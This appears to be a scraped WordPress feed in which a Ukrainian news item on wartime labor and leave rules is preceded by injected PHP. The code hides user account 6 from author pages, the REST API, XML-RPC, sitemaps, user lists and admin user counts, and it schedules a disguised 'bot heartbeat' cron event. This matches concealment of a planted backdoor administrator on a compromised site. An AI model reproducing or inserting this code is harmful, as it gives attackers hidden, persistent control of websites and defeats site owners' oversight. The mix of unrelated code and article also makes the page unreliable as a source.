add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 6;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 6;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 6;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 19 липня набули чинності нові трудові правила на час війни appeared first on Assets.
]]>Закон предусматривает:
надання працівнику щорічної основної відпустки за рішенням роботодавця може бути обмежено тривалістю 24 календарні дні за поточний робочий рік;
якщо тривалість щорічної основної відпустки більше 24 календарних днів, то невикористані дні такої відпустки переноситься на період після припинення воєнного стану;
роботодавець може відмовити працівнику у наданні невикористаних днів щорічної відпустки, але у разі звільнення працівника у період дії воєнного стану йому виплачується грошова компенсація за всі не використані ним дні щорічної відпустки, а також додаткової відпустки працівникам, які мають дітей;
за заявою працівника, який виїхав за межі території України або набув статусу внутрішньо переміщеної особи, в обов’язковому порядку надається відпустка без збереження заробітної плати тривалістю, визначеною у заяві, але не більше 90 календарних днів, без зарахування часу перебування у відпустці до стажу роботи, що дає право на щорічну основну відпустку;
у разі смерті працівника грошова компенсація за не використані ним дні щорічних відпусток, а також додаткової відпустки працівникам, які мають дітей або повнолітню дитину – особу з інвалідністю з дитинства підгрупи А I групи, що не була одержана за життя, виплачується членам сім’ї такого працівника, а у разі їх відсутності – входить до складу спадщини;
заробітна плата працівникам за весь час відпустки виплачується до початку відпустки, якщо інше не передбачено законодавством, трудовим або колективним договором.
The post 19 липня набули чинності нові трудові правила на час війни appeared first on Assets.
]]>